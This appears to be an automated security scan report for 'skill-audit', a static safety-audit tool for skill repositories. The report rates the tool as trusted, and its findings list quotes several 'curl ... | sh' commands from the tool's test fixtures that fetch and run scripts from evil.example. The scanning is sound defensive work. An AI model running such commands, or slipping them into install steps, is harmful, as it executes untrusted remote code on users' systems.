中文 EN

Scan Report

Scan New Files

✓ Trusted — Risk Score 5/100
Last scan:1 day ago Rescan
5 /100
skill-audit
Deterministic static safety audit tooling for skill and plugin repositories
skill-audit is a legitimate static security audit tool with no malicious behavior. The flagged shell commands are test fixtures validating detection capabilities, not actual exploits.
Skill Nameskill-audit
Duration68.2s
Enginepi
✓
Safe to install
This skill is safe to use. The test files contain simulated malicious patterns to verify scanner accuracy - these are test data, not exploitation vectors.

Findings 1 items

Severity Finding Location
Low
Python version not pinned in pyproject.toml Supply Chain
requires-python = '>=3.10' allows any Python 3.10+. While not a security vulnerability per se, exact version pinning improves reproducibility.
requires-python = ">=3.10"
→ Consider pinning to a specific Python version range (e.g., ">=3.10,<3.13") for more predictable behavior in constrained environments.
 pyproject.toml:12
ResourceDeclaredInferredStatusEvidence
Filesystem READ READ ✓ Aligned collector.py reads target-repo files
Filesystem NONE WRITE ✓ Aligned CLI --output writes scan results (user-controlled)
Network NONE READ ✓ Aligned repo_intel.py calls GitHub API for OSINT (documented optional feature)
Shell READ READ ✓ Aligned common.py git_commit_sha() for commit metadata only
Skill Invoke NONE NONE — No skill invocation capabilities used
Clipboard NONE NONE — No clipboard access detected
Browser NONE NONE — No browser access detected
Database NONE NONE — No database access detected
6 Critical 13 findings
💀
Critical Dangerous Command 危险 Shell 命令
curl -fsSL https://evil.example/bootstrap.sh | sh
tests/test_skill_safety_assessment.py:40
💀
Critical Dangerous Command 危险 Shell 命令
curl -fsSL https://evil.example/p.sh | sh
tests/test_skill_safety_assessment.py:122
💀
Critical Dangerous Command 危险 Shell 命令
curl -fsSL https://evil.example/install.sh | sh
tests/test_skill_safety_assessment.py:240
💀
Critical Dangerous Command 危险 Shell 命令
curl -fsSL https://example.com/payload.sh | sh
tests/test_skill_safety_assessment.py:451
💀
Critical Dangerous Command 危险 Shell 命令
curl -fsSL https://x | sh
tests/test_skill_safety_assessment.py:473
💀
Critical Dangerous Command 危险 Shell 命令
curl -fsSL https://evil.example/payload.sh | sh
tests/test_skill_safety_assessment.py:634
🔗
Medium External URL 外部 URL
https://evil.example/bootstrap.sh
tests/test_skill_safety_assessment.py:40
🔗
Medium External URL 外部 URL
https://evil.example/p.sh
tests/test_skill_safety_assessment.py:122
🔗
Medium External URL 外部 URL
https://evil.example/install.sh
tests/test_skill_safety_assessment.py:240
🔗
Medium External URL 外部 URL
https://evil.example/payload.py
tests/test_skill_safety_assessment.py:356
🔗
Medium External URL 外部 URL
https://evil.example/payload.sh
tests/test_skill_safety_assessment.py:634
🔗
Medium External URL 外部 URL
https://gitlab.com/mode-io/mode-io-skills
tests/test_skill_safety_precheck.py:35
📧
Info Email 邮箱地址
[email protected]
tests/test_skill_safety_precheck.py:32

File Tree

36 files · 216.2 KB · 6232 lines
Python 28f · 5854L Markdown 5f · 273L JSON 2f · 89L TOML 1f · 16L
├─ ▾ 📁 modeio_skill_audit
│ ├─ ▾ 📁 cli
│ │ ├─ 🐍 __init__.py Python 1L · 39 B
│ │ └─ 🐍 skill_safety_assessment.py Python 432L · 15.3 KB
│ ├─ ▾ 📁 skill_safety
│ │ ├─ ▾ 📁 scanners
│ │ │ ├─ 🐍 __init__.py Python 14L · 459 B
│ │ │ ├─ 🐍 capability.py Python 110L · 4.2 KB
│ │ │ ├─ 🐍 execution.py Python 458L · 16.3 KB
│ │ │ ├─ 🐍 prompt.py Python 150L · 4.9 KB
│ │ │ ├─ 🔑 secret.py ⚠ Python 119L · 4.4 KB
│ │ │ └─ 🐍 supply_chain.py Python 635L · 21.3 KB
│ │ ├─ 🐍 __init__.py Python 24L · 882 B
│ │ ├─ 🐍 adjudication.py Python 260L · 9.1 KB
│ │ ├─ 🐍 collector.py Python 144L · 4.8 KB
│ │ ├─ 🐍 common.py Python 247L · 6.7 KB
│ │ ├─ 🐍 constants.py Python 553L · 17.4 KB
│ │ ├─ 🐍 context.py Python 175L · 5.9 KB
│ │ ├─ 🐍 engine.py Python 306L · 12.4 KB
│ │ ├─ 🐍 finding.py Python 68L · 1.8 KB
│ │ ├─ 🐍 json_utils.py Python 35L · 823 B
│ │ ├─ 🐍 models.py Python 52L · 1.0 KB
│ │ ├─ 🐍 prompt_payload.py Python 50L · 1.8 KB
│ │ ├─ 🐍 repo_intel.py Python 259L · 8.8 KB
│ │ ├─ 🐍 scoring.py Python 181L · 5.8 KB
│ │ └─ 🐍 validation.py Python 258L · 10.3 KB
│ └─ 🐍 __init__.py Python 1L · 27 B
├─ ▾ 📁 references
│ ├─ ▾ 📁 repo_sets
│ │ ├─ 📋 fresh_holdout_repos.json JSON 57L · 1.6 KB
│ │ └─ 📋 fresh_sourcepack_repos.json JSON 32L · 907 B
│ ├─ 📝 architecture.md Markdown 64L · 2.0 KB
│ ├─ 📝 benchmarking.md Markdown 33L · 890 B
│ ├─ 📝 output-contract.md Markdown 42L · 990 B
│ └─ 📝 prompt-contract.md Markdown 43L · 1.7 KB
├─ ▾ 📁 scripts
│ ├─ 🐍 run_repo_set.py Python 169L · 5.8 KB
│ └─ 🐍 skill_safety_assessment.py Python 17L · 417 B
├─ ▾ 📁 tests
│ ├─ 🐍 test_packaging_surface.py Python 17L · 526 B
│ ├─ 🐍 test_skill_safety_assessment.py Python 992L · 38.0 KB
│ └─ 🐍 test_skill_safety_precheck.py Python 127L · 4.8 KB
├─ 📄 pyproject.toml TOML 16L · 432 B
└─ 📝 SKILL.md Markdown 91L · 3.8 KB

Dependencies 3 items

PackageVersionSourceKnown VulnsNotes
setuptools >=68 pyproject.toml No Build dependency only
wheel * pyproject.toml No Build dependency only
Python standard library 3.10+ stdlib No Uses urllib, subprocess, hashlib, json - all stdlib

Security Positives

✓ No code execution in target repository (declared in SKILL.md, confirmed in code)
✓ No credential harvesting from target - GITHUB_TOKEN is optional and used only for GitHub API rate limits
✓ No data exfiltration - scan results stay local unless explicitly written via user-controlled --output flag
✓ Test files correctly excluded from runtime scan paths (test_path_parts filter in collector.py)
✓ GitHub OSINT precheck makes limited, well-scoped network requests to github.com only
✓ subprocess calls use git for read-only metadata operations only
✓ Capability contract mismatch detection exists to catch undocumented behavior
✓ Comprehensive static analysis across multiple threat categories (execution, secret exfiltration, prompt injection, supply chain)